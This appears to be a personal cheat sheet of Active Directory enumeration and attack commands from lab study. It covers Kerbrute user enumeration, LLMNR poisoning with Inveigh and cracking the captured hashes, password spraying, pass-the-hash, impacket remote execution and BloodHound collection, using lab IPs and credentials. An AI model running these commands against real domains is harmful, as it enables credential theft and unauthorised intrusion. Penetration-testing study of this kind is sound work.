rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Active Directory Enum



Initial Enumeration


sudo wireshark -E enss224 -A
fping -asgq 172.16.5.0/23

image

sudo nmap -A -iL hosts.txt -oN result2

Username Enumeration[Internal AD Username enum with Kerbrute]


image

kerbrute userenum -d <DOMAIN> --dc 172.16.5.5 jsmith.txt -o valid_ad_users

image


LLMNR/NBT-NS Poisoning


hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
john --wordlist=[] hash.txt

image

image

image


Exploitng LLMNR/NBT-NS attacks with Inveigh.exe on windows


Invoke-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

image

image

image

image

imageimage



ldapsearch -x -H ldap://[ip] -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user'

image

ldapsearch -x -H ldap://[ip] -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user'
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user' -y passwd
echo -n "password" > passwd
chmod 600 passwd

image

ldapsearch -x -H ldap://support.htb -b 'cn=support,cn=users,dc=support,dc=htb' -D "support\ldap" '(objectClass=user)' -y passwd

image

ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(objectClass=group)'
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(objectClass=computer)' -y passwd
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(sAMAccountName=*)' -y passwd

Using Bloodhound-ce


pip install bloodhound-ce #community edition
pip install bloodhound #legaacy version
#same syntax tho
bloodhound-ce-python -u [user@domain] -p '[password]' -ns [nameserver / IP] -d [domain] -c [collection method]

image

image


Password Spraying overview


rpcclient -U "" -N 172.16.5.5

image

enum4linux -P 172.16.5.5

image

enum4linux-ng -P 172.16.5.5 -oA ilfreight

image


Windows


 net use \\host\ipc$ "" /u:"" 
net accounts
import-module .\PowerView.ps1
Get-DomainPolicy

Making a user list for password spraying


enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

image

rpcclient -U "" -N 172.16.5.5

image

nxc smb[host] --users

image

ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

image

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 
nxc smb 172.16.5.5 -u htb-student -p "Academy_student_AD\!" --users

image


Password Spraying


for u in $(cat valid_ad_users);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

image

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

image

nxc smb 172.16.5.5 -u [file_name] -p Password123 | grep +
nxc smb 172.16.5.5 -u avazquez -p Password123

image

nxc smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

With Windows


-


Enumerating Security Controls


Get-MpComputerStatus
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageMode

Credentialed Enumeration (from Linux)


nxc smb 172.16.5.5 -u forend -p Klmcargo2 --users

image

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups

image

crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users
sudo nxc smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users

image

nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus

image

nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share "zzzz"
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

image

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only

image

rpcclient -U "" -N 172.16.5.5

image

queryuser 0x457

image

enumdomusers

image

impacket-psexec inlanefreight.local/wley:'transporter@4'@172.16.5.125  
impacket-wmiexec inlanefreight.local/wley:'transporter@4'@172.16.5.5

Windapsearch


windapsearch -m domain-admins --dc 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

image

windapsearch -m privileged-users  --dc 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

image


Bloodhound-python


sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all

Credentialed enumeration with windows


Get-Module

image

Import-Module ActiveDirectory

image

image

Get-ADDomain

image

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

image

Get-ADTrust -Filter *

image

Get-ADGroup -Filter * | select name

image

Get-ADGroup -Identity "Backup Operators"

image

Get-ADGroupMember -Identity "Backup Operators"

image


Powerview



Blooodhound Cypher queries



Snaffler


Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

image


Living off the land


image


Get-Host
powershell -version 2

image

netsh advfirewall show allprofiles

Windows Management Instructions


Commands Description
wmic qfe get Caption,Description,HotFixID,InstalledOn Prints the patch level and description of the Hotfixes applied
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List Displays basic host information to include any attributes within the list
wmic process list /format:list A listing of all processes on host
wmic ntdomain list /format:list Displays information about the Domain and Domain Controllers
wmic useraccount list /format:list Displays information about all local accounts and any domain accounts that have logged into the device
wmic group list /format:list Information about all local groups
wmic sysaccount list /format:list Dumps information about any system accounts that are being used as service accounts.

| Commands | Description | |———————————|—————————–| net accounts | Information about password requirements net accounts /domain |Password and lockout policy net group /domain |Information about domain groups net group “Domain Admins” /domain |List users with domain admin privileges net group “domain computers” /domain |List of PCs connected to the domain net group “Domain Controllers” /domain |List PC accounts of domains controllers net group /domain |User that belongs to the group net groups /domain |List of domain groups net localgroup |All available groups net localgroup administrators /domain |List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default) net localgroup Administrators |Information about a group (admins) net localgroup administrators [username] /add | Add user to administrators net share Check current shares net user /domain |Get information about a user within the domain net user /domain |List all users of the domain net user %username% |Information about the current user net use x: \computer\share |Mount the share locally net view |Get a list of computers net view /all /domain[:domainname] |Shares on the domains net view \computer /ALL |List shares of a computer net view /domain |List of PCs of the domain

dsquery user
dsquery computer
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

LDAP FIltering


image


AN ACE IN THE HOLE